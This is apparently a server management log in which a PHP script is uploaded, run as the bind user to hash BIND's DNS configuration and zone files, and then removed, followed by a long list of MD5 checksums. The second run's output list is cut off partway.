MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-31 11:41:37: Establishing a connection
2026-01-31 11:41:37: 

PUT: /tmp/pkp926337

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-31 11:41:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp926337; rm /tmp/pkp926337'

2026-01-31 11:41:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-31 11:41:46: Establishing a connection
2026-01-31 11:41:46: 

PUT: /tmp/pkp879187

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-31 11:41:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp879187; rm /tmp/pkp879187'

2026-01-31 11:41:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
